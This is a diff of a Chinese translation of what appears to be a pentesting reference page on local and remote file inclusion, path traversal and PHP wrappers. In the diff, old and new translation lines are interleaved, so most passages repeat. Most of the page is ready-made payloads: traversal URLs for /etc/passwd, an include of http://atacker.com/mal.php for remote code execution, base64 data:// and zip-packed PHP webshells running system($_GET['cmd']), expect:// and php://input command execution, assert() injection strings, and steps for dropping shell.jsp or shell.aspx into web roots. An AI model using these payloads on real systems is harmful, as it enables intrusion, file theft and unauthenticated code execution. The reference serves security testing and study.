4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探查子目录或文件。
|
||||
|
||||
要在文件系统的不同位置探索目录,请相应地调整有效载荷。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3),请使用:
|
||||
要探索文件系统中不同位置的目录,请相应调整 payload。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录的深度为 3),请使用:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **路径截断技术**
|
||||
### **Path Truncation Technique**
|
||||
|
||||
路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
|
||||
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它经常被用于通过绕过在文件路径末尾追加额外字符的某些安全机制来访问受限制的文件。目标是构造一个文件路径,使得在被安全机制修改后仍然指向目标文件。
|
||||
|
||||
在PHP中,由于文件系统的性质,文件路径的各种表示可以被视为等效。例如:
|
||||
在 PHP 中,由于文件系统的特性,同一路径可以有多种等价的表示方式。例如:
|
||||
|
||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`和`/etc/passwd/`都被视为相同的路径。
|
||||
- 当最后6个字符为`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
|
||||
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变正在访问的文件。
|
||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd` 和 `/etc/passwd/` 都被视为相同的路径。
|
||||
- 当最后 6 个字符是 `passwd` 时,追加一个 `/`(即变成 `passwd/`)不会改变目标文件。
|
||||
- 类似地,如果在文件路径后追加了 `.php`(例如 `shellcode.php`),在末尾添加 `/.` 也不会改变被访问的文件。
|
||||
|
||||
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
|
||||
提供的示例演示了如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户账户信息):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -123,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
在这些场景中,所需的遍历次数可能在2027左右,但这个数字可能会根据服务器的配置而有所不同。
|
||||
在这些场景中,所需的 traversals 数量可能约为 2027,但该数值会根据服务器的配置而变化。
|
||||
|
||||
- **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。
|
||||
- **确定所需的遍历次数**:通过反复试验,可以找到精确的`../`序列数量,以导航到根目录,然后到`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
|
||||
- **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) 结合额外的 dot segments 和字符可用于浏览文件系统,实际上可以使服务器追加的字符串被忽略。
|
||||
- **Determining the Required Number of Traversals**: 通过反复试验,可以找到精确需要的 `../` 序列数,以导航到根目录再到 `/etc/passwd`,确保任何被追加的字符串(例如 `.php`)被中和,但目标路径(`/etc/passwd`)保持不变。
|
||||
- **Starting with a Fake Directory**: 通常会在路径开头使用一个不存在的目录(例如 `a/`)。该技术作为一种预防措施,或用于满足服务器路径解析逻辑的要求。
|
||||
|
||||
在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方式。
|
||||
在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种场景可能需要不同的方法,通常需要通过测试来找到最有效的方式。
|
||||
|
||||
**此漏洞在PHP 5.3中已被修复。**
|
||||
**此漏洞已在 PHP 5.3 中修复。**
|
||||
|
||||
### **过滤器绕过技巧**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -141,47 +143,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## 远程文件包含
|
||||
## Remote File Inclusion
|
||||
|
||||
在php中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,你可以从你的服务器包含一个PHP文件并获得RCE:
|
||||
在 php 中默认禁用,因为 **`allow_url_include`** 是 **Off.** 必须为 **On** 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议与 base64 来解码 b64 PHP 代码并获得 RCE:
|
||||
如果出于某种原因 **`allow_url_include`** 为 **On**,但 PHP 正在 **filtering** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data protocol 配合 base64 来解码 b64 PHP 代码并 egt RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,经过 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
|
||||
|
||||
另一个**不使用 `php://` 协议**的例子是:
|
||||
> 在前面的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以它结尾,并且在 b64 decode 之后那部分会只返回垃圾,真实的 PHP 代码将被包含(因此被执行)。
|
||||
>
|
||||
> 另一个 **不使用 `php://` 协议** 的例子是:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python 根元素
|
||||
|
||||
在 Python 中,像这样的代码:
|
||||
在 Python 中,在像下面这样的代码中:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
如果用户传递一个 **绝对路径** 给 **`file_name`**,那么 **之前的路径将被移除**:
|
||||
如果用户向 **`file_name`** 传递了一个 **绝对路径**,则 **先前的路径会被移除**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join),这是预期的行为:
|
||||
这是根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):的预期行为:
|
||||
|
||||
> 如果一个组件是绝对路径,则所有先前的组件都会被丢弃,并从绝对路径组件继续连接。
|
||||
> 如果一个组件是绝对路径,所有之前的组件都会被丢弃,并且拼接将从该绝对路径组件继续。
|
||||
|
||||
## Java 列出目录
|
||||
|
||||
看起来如果你在 Java 中有路径遍历并且你**请求一个目录**而不是文件,**将返回该目录的列表**。在其他语言中(据我所知)不会发生这种情况。
|
||||
看起来如果在 Java 中存在 Path Traversal,并且你 **请求的是目录** 而不是文件,则会返回该目录的 **列表**。据我所知,其他语言不会出现这种情况(afaik)。
|
||||
|
||||
## 前25个参数
|
||||
|
||||
以下是可能容易受到本地文件包含(LFI)漏洞影响的前25个参数列表(来自[链接](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
下面是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数的列表(来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -209,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI 使用 PHP 包装器和协议
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操作**。过滤器分为 5 类:
|
||||
PHP filters 允许在数据被读取或写入之前执行基本的 **修改操作**。过滤器分为 5 类:
|
||||
|
||||
- [字符串过滤器](https://www.php.net/manual/en/filters.string.php):
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: 从数据中移除标签(在 "<" 和 ">" 字符之间的所有内容)
|
||||
- 请注意,这个过滤器在现代版本的 PHP 中已经消失
|
||||
- [转换过滤器](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `string.strip_tags`: 从数据中移除标签(位于 "<" 和 ">" 字符之间的所有内容)
|
||||
- 注意该过滤器在现代版本的 PHP 中已消失
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表,请在控制台中运行:`iconv -l`
|
||||
- `convert.iconv.*`:转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取受支持编码的 **完整列表**,在控制台运行:`iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对写入任意文本或使函数如包含过程处理任意文本有用。有关更多信息,请查看 [**LFI2RCE 通过 php 过滤器**](lfi2rce-via-php-filters.md)。
|
||||
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这对于写入任意文本或让像 include 这样的函数处理任意文本可能很有用。更多信息请参见 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
|
||||
|
||||
- [压缩过滤器](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 压缩内容(如果提取大量信息时很有用)
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 压缩内容(useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: 解压数据
|
||||
- [加密过滤器](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 已弃用
|
||||
- `mdecrypt.*` : 已弃用
|
||||
- 其他过滤器
|
||||
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到几个 **意外的过滤器**:
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*`:已弃用
|
||||
- `mdecrypt.*`:已弃用
|
||||
- Other Filters
|
||||
- 在 PHP 中运行 `var_dump(stream_get_filters());` 可以发现一些 **意想不到的过滤器**:
|
||||
- `consumed`
|
||||
- `dechunk`: 反转 HTTP 分块编码
|
||||
- `dechunk`: 反转 HTTP chunked 编码
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -269,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> "php://filter" 部分不区分大小写
|
||||
> 部分 "php://filter" 不区分大小写
|
||||
|
||||
### 使用 php 过滤器作为 oracle 读取任意文件
|
||||
### 使用 php filters 作为 oracle 来读取任意文件
|
||||
|
||||
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的文件布尔外泄(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器获取输出的情况下读取本地文件的技术。该技术基于 **boolean exfiltration of the file (char by char) using php filters** 作为 oracle。这是因为 php filters 可以用来使文本变得足够大,从而使 php 抛出异常。
|
||||
|
||||
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
|
||||
在原文中可以找到对该技术的详细解释,下面给出一个快速总结:
|
||||
|
||||
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
|
||||
- 这将用于生成一个 **当初始字母正确猜测时变得非常大的文本**,以至于 php 会触发一个 **错误**。
|
||||
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
|
||||
- 这与前一个(以及其他根据猜测字母的过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始炸弹将导致 php 错误。
|
||||
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母(因此在此编码后:a -> b)。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g,该字母不再是十六进制字符,因此 dechunk 不会删除它,php 错误被触发,因为它与初始炸弹相乘。
|
||||
- 在开头使用其他转换如 **rot13** 可以泄露其他字符如 n, o, p, q, r(还可以使用其他编码将其他字母移动到十六进制范围)。
|
||||
- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
|
||||
- 最后一个问题是 **如何泄露超过初始字母**。通过使用顺序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在首位获取文本的其他字母。
|
||||
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的位以泄露。
|
||||
- 使用 codec **`UCS-4LE`** 将文本的首字符保留在开头并使字符串大小呈指数级增长。
|
||||
- 这将用于生成一个 **当首字母猜对时变得非常大的文本**,以至于 php 会触发一个 **错误**。
|
||||
- **dechunk** 过滤器会 **如果首字符不是十六进制则删除所有内容**,因此我们可以判断首字符是否为十六进制。
|
||||
- 这与前一条结合(以及根据猜测字母使用的其他 filters)可以让我们通过观察在进行足够多的转换后何时该字符不再是十六进制字符来猜测文本开头的一个字母。因为如果是十六进制,dechunk 不会删除它,而初始“炸弹”会使 php 报错。
|
||||
- codec **convert.iconv.UNICODE.CP930** 会将每个字母转换为下一个字母(例如:a -> b)。这使我们能够判断首字母是否为 `a`,例如如果应用 6 次该 codec,则 a->b->c->d->e->f->g,字母不再是十六进制字符,因此 dechunk 不会删除它,且由于与初始“炸弹”相乘会触发 php 错误。
|
||||
- 使用其他变换,比如在开头使用 **rot13**,可以 leak 其它字符如 n、o、p、q、r(也可以使用其他 codec 将其他字母移动到十六进制范围)。
|
||||
- 当首字符是数字时,需要对其进行 base64 编码,并 leak 前两个字符以泄露该数字。
|
||||
- 最终的问题是要看 **how to leak more than the initial letter**。通过使用顺序内存 filters(order memory filters)如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,从而将文本中的其他字母移到第一位。
|
||||
- 为了能够获取 **further data**,思路是使用 **convert.iconv.UTF16.UTF16** 在开头 **生成 2 字节的垃圾数据**,然后应用 **UCS-4LE** 使其与接下来的 2 字节发生 **pivot with the next 2 bytes**,并 **删除直到垃圾数据为止的数据**(这将移除初始文本的前 2 字节)。继续这样操作直到达到要 leak 的位。
|
||||
|
||||
在文章中还泄露了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||
在文章中还泄露了一个可以自动执行该方法的工具: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
此包装器允许访问进程打开的文件描述符。可能对外泄打开文件的内容有用:
|
||||
这个 wrapper 允许访问进程已打开的 file descriptors。可能有助于泄露已打开文件的内容:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
您还可以使用 **php://stdin, php://stdout 和 php://stderr** 分别访问 **文件描述符 0, 1 和 2**(不确定这在攻击中如何有用)
|
||||
你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **file descriptors 0, 1 and 2**(不确定这在攻击中有什么用)
|
||||
|
||||
### zip:// 和 rar://
|
||||
### zip:// and rar://
|
||||
|
||||
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。\
|
||||
为了能够滥用 rar 协议,它 **需要被特别激活**。
|
||||
为了能够滥用 rar 协议,它 **需要被特意启用**。
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -326,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
请注意,此协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制。
|
||||
注意,该协议受 php 配置 **`allow_url_open`** 和 **`allow_url_include`** 的限制
|
||||
|
||||
### expect://
|
||||
|
||||
必须激活 Expect。您可以使用以下方式执行代码:
|
||||
Expect 必须被启用。你可以使用它来执行代码:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
在POST参数中指定您的有效载荷:
|
||||
在 POST 参数中指定你的 payload:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
一个 `.phar` 文件可以在网络应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
|
||||
当 web 应用程序利用诸如 `include` 之类的函数进行文件加载时,`.phar` 文件可被用来执行 PHP 代码。下面的 PHP 代码片段演示了创建 `.phar` 文件:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -356,90 +358,91 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
在执行时,将创建一个名为 `test.phar` 的文件,这可能被利用来利用本地文件包含(LFI)漏洞。
|
||||
执行后,会创建一个名为 `test.phar` 的文件,可能被用于利用 Local File Inclusion (LFI) 漏洞。
|
||||
|
||||
在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
|
||||
如果 LFI 只是通过 `file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()` 或 `filesize()` 等函数读取文件而不执行其中的 PHP 代码,则可以尝试利用与使用 `phar` 协议读取文件相关的反序列化漏洞。
|
||||
|
||||
有关在 `.phar` 文件上下文中利用反序列化漏洞的详细理解,请参阅下面链接的文档:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
可以滥用 **任何支持 PHP 过滤器的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||||
非常简要的总结:在 PHP 堆中滥用 **3 字节溢出** 来 **更改特定大小的空闲块链**,以便能够 **在任何地址写入任何内容**,因此添加了一个钩子来调用 **`system`**。\
|
||||
可以通过滥用更多 PHP 过滤器来分配特定大小的块。
|
||||
可以滥用 **任何来自 PHP 的、支持 php filters 的任意文件读取** 来获得 RCE。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
简要总结:在 PHP heap 中滥用一个 **3 字节溢出** 来 **修改特定大小的空闲 chunk 链**,从而可以 **在任意地址写入任意内容**,因此添加了一个钩子来调用 **`system`**。\
|
||||
可以通过滥用更多 php filters 来分配特定大小的 chunks。
|
||||
|
||||
### 更多协议
|
||||
|
||||
查看更多可能的 [**协议以包含在这里**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
查看更多可能的[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory 和 php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在 file inclusion attack 中如何有用)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URLs
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URLs
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳 2
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印内容,因此在这里不太有用)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
|
||||
|
||||
## 通过 PHP 的 'assert' 进行 LFI
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,因为它可以在字符串中执行代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
|
||||
当涉及 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险特别高,因为该函数可以执行字符串内的代码。特别是在对包含目录遍历字符如 ".." 的输入进行检查但未正确清理时,这尤其成问题。
|
||||
|
||||
例如,PHP 代码可能被设计为防止目录遍历,如下所示:
|
||||
例如,PHP 代码可能会这样设计以防止目录遍历:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
虽然这旨在阻止遍历,但无意中为代码注入创造了一个向量。为了利用这一点读取文件内容,攻击者可以使用:
|
||||
虽然这旨在阻止 traversal,但却无意中为 code injection 创造了一个向量。为了利用这一点读取文件内容,攻击者可以使用:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
同样,对于执行任意系统命令,可以使用:
|
||||
类似地,要执行任意系统命令,可以使用:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
重要的是要**对这些有效负载进行URL编码**。
|
||||
重要:**URL-encode these payloads**。
|
||||
|
||||
## PHP盲路径遍历
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> 这种技术在你**控制**一个**PHP函数**的**文件路径**的情况下是相关的,该函数将**访问一个文件**但你不会看到文件的内容(就像简单调用**`file()`**一样),但内容不会显示。
|
||||
> 该技术适用于你在某些情况下:你对要被访问的文件的**file path**具有**control**,且由某个**PHP function**去**access a file**,但你看不到文件内容(例如简单调用**`file()`**)时。
|
||||
|
||||
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历来**通过错误oracle提取文件内容**。
|
||||
在 [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) 中解释了如何通过 PHP filter 滥用 blind path traversal,利用 error oracle 去 exfiltrate 文件内容。
|
||||
|
||||
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**,以至于**打开**文件的**PHP函数**将触发一个**错误**。
|
||||
总结:该技术使用 **"UCS-4LE" encoding** 使文件内容变得非常**big**,以至于负责打开文件的**PHP function**会触发一个**error**。
|
||||
|
||||
然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器(如**base64**或**rot13**)一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
|
||||
然后,为了 leak 第一个字符,使用 filter **`dechunk`** 以及 **base64** 或 **rot13** 等,最后使用 filters **convert.iconv.UCS-4.UCS-4LE** 和 **convert.iconv.UTF16.UTF-16BE** 来把其他 chars 放到开头并 leak 它们。
|
||||
|
||||
**可能存在漏洞的函数**:`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**可能受影响的函数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
有关技术细节,请查看上述文章!
|
||||
有关技术细节请查看上文提到的文章!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### 通过路径遍历进行任意文件写入(Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
当服务器端代码处理/上传文件时,使用用户控制的数据(例如,文件名或URL)构建目标路径而不进行规范化和验证时,`..`段和绝对路径可能会逃离预期目录并导致任意文件写入。如果你可以将有效负载放置在一个公开的Web目录下,通常可以通过放置Webshell获得未经身份验证的RCE。
|
||||
当服务器端用于接收/上传文件的代码在构建目标路径时使用了来自用户的输入(例如 filename 或 URL),且没有进行规范化和校验,`..` segments 和绝对路径就可以跳出预期存储目录并导致任意文件写入。如果你能把 payload 放到 web-exposed directory 下,通常通过放置 webshell 就能获得未认证的 RCE。
|
||||
|
||||
典型的利用工作流程:
|
||||
- 在接受路径/文件名并将内容写入磁盘的端点或后台工作程序中识别写入原语(例如,基于消息的摄取、XML/JSON命令处理程序、ZIP解压缩器等)。
|
||||
- 确定公开的Web目录。常见示例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → 放置`shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → 放置`shell.aspx`
|
||||
- 构造一个遍历路径,突破预期的存储目录进入Web根目录,并包含你的Webshell内容。
|
||||
- 浏览到放置的有效负载并执行命令。
|
||||
典型利用流程:
|
||||
- 识别接受路径/filename 并将内容写入磁盘的写入原语(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
|
||||
- 确定 web-exposed directories。常见示例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- 构造一个 traversal path,将目标从预期的存储目录跳出到 webroot,并包含你的 webshell 内容。
|
||||
- 访问被写入的 payload 并执行命令。
|
||||
|
||||
注意:
|
||||
- 执行写入的易受攻击服务可能在非HTTP端口上监听(例如,TCP 4004上的JMF XML监听器)。主要Web门户(不同端口)稍后将提供你的有效负载。
|
||||
- 在Java堆栈上,这些文件写入通常通过简单的`File`/`Paths`连接实现。缺乏规范化/白名单是核心缺陷。
|
||||
- 执行写入的易受攻击服务可能监听在非 HTTP 端口(例如,一个在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会对外提供你的 payload。
|
||||
